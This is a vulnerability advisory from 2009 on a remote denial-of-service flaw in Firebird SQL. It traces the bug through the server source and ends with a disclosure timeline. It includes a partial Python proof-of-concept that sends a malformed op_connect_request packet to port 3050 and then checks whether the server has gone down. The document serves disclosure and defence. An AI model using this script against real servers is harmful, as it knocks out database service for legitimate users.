Firebird SQL op_connect_request main listener shutdown vulnerability
3 Aug. 2009
Summary
A remote denial of service vulnerability has been found in Firebird SQL, which can be exploited by a remote attacker to force the server to close the socket where it is listening for incoming connections and to enter an infinite loop, by sending an unexpected 'op_connect_request' message with invalid data to the server.
Immune Systems:
* Firebird SQL v2.1.3 Release Candidate 2 (estimated release: July 2009)
*Firebird SQL v2.5 Beta 2 (estimated release: July 2009)
*Firebird SQL v1.5.6 (estimated release: August 2009)
*Firebird SQL v2.0.6 (estimated release: October 2009)
The issue is resolved in all branches of the Firebird SQL repository. It is registered in the Firebird SQL bug tracker as: http://tracker.firebirdsql.org/browse/CORE-2563
Inside the server ('src/remote/server.cpp'), the function 'process_packet2()' processes a packet received from a client. This function has a 'switch' statement that considers all the possible opcodes defined in the protocol (see 'P_OP' enum 'in src/remote/protocol.h').
src/remote/server.cpp:
...
3404 P_OP op = receive->p_operation;
3405 switch (op)
3406 {
3407 case op_connect:
...
3426 case op_compile:
...
3430 case op_attach:
...
In the case of an 'op_connect_request' packet, the execution flow goes to the following 'case' in the 'switch' statement:
src/remote/server.cpp:
...
3584 case op_connect_request:
3585 aux_request(port, &receive->p_req, sendL);
3586 break;
After calling 'aux_request()' function and executing the 'break' statement, execution lands here:
src/remote/server.cpp:
...
3652 if (port && port->port_state == state_broken) {
3653 if (!port->port_parent) {
3654 gds__log("SERVER/process_packet: broken port, server exiting");
3655 port->disconnect(sendL, receive);
3656 ThreadData::restoreSpecific();
3657 return false;
3658 }
3659 port->disconnect(sendL, receive);
3660 port = NULL;
3661 }
By debugging the 'fbserver.exe' binary when it receives an 'op_connect_request' packet, we can see that the conditions of the first 'if' statement are satisfied, but the condition of the second 'if' is not, so execution flow goes to the 'port->disconnect()' call:
The type of 'port' is 'struct rem_port', as defined in 'src/remote/remote.h'. This struct type has a 'disconnect()' function that is implemented in 'src/remote/server.cpp':
That call to 'this->disconnect()' will ultimately lead to the 'disconnect()' function in 'src/remote/inet.cpp'. This function is intended to break a remote connection, and receives a 'rem_port' structure as parameter.
After that, as a comment line states, if the current 'rem_port' structure being disconnected is a child of another 'rem_port' structure, it recursively calls 'disconnect()' to disconnect the 'rem_port' stored at 'port->port_async'. 'port_async' is a member of 'rem_port' struct that describes an asynchronous sibling port.
src/remote/inet.cpp:
/* If this is a sub-port, unlink it from it's parent */ ...
1789 rem_port* parent = port->port_parent;
1790 if (parent != NULL) {
1791 if (port->port_async) {
1792 disconnect(port->port_async);
1793 port->port_async = NULL;
1794 }
But when that recursive call to 'disconnect()' is made, the 'port->port_async' passed as parameter to be disconnected corresponds to the main server socket, that is, the socket listening for incoming connections on port 3050/TCP. Once in the recursive call, 'shutdown()' and 'closesocket()' functions are invoked, making the server to stop listening on the default port 3050/TCP, thus denying the service to legitimate users.
As a side effect, the 'fbserver.exe' process will enter an infinite loop, consuming 100% CPU time.
On Windows platform, in a default installation, Firebird SQL server is installed as a Windows service, and another service (the Firebird Guardian) runs together with the server, in order to automatically restart the 'fbserver.exe' process if it crashes or stops running abnormally. However, in this case the Firebird Guardian is unable to detect the denial of service condition, because the server does not crash nor stops running.
In Firebird SQL 1.5.5 the behavior is different; the server will crash inside the 'aux_request()' function in 'src/remote/server.cpp' due to a null pointer dereference, instead of silently shutting down its listener port. The problem arises when 'port->port_context' (which has a 'NULL' value at this point) is loaded into 'rdb' variable and then, at line '885', it is used as a pointer without properly checking that it points to a valid memory address:
The following Python script will trigger the denial of service condition on Firebird SQL, by sending an 'op_connect_request' packet with invalid data of length greater than or equal to 12 bytes.
packet = '\x00\x00\x00' + op_connect_request
packet += "A" * 12 #Invalid data, must be >= 12 bytes
in order to trigger the DoS
print "(+) Connecting to the server...."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "(+) Sending op_connect_request packet..."
s.send(str(packet))
s.close()
print "(+) op_connect_request packet successfully sent."
#Wait 10 seconds and try to connect again to Firebird SQL server, to check if it's down
print "(+) Waiting 10 seconds before trying to reconnect to the server..."
time.sleep(10)
try:
print "(+) Trying to reconnect..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.close()
print "(!) Something went wrong. The server is still alive."
except socket.error:
print "(*) Attack successful. The server is down."
port = 3050
host = '192.168.131.128' #Replace with your target host
attack(host, port)
Disclosure Timeline:
2009-07-15: Core Security Technologies notifies the Firebird team of the vulnerability.
2009-07-16: Firebird team requests technical details in plaintext.
2009-07-16: Core sends the advisory draft, including technical details.
2009-07-20: Firebird team notifies that the issue is resolved in all branches of the Firebird repository. Technical details will be publicly visible when Core releases its advisory. Firebird team notices that Firebird version 1.5.5 (marked as non vulnerable in the advisory draft) seems to be affected.
2009-07-27: Core sends the final version of the advisory to the Firebird team.
2009-07-28: The advisory CORE-2009-0707 is published.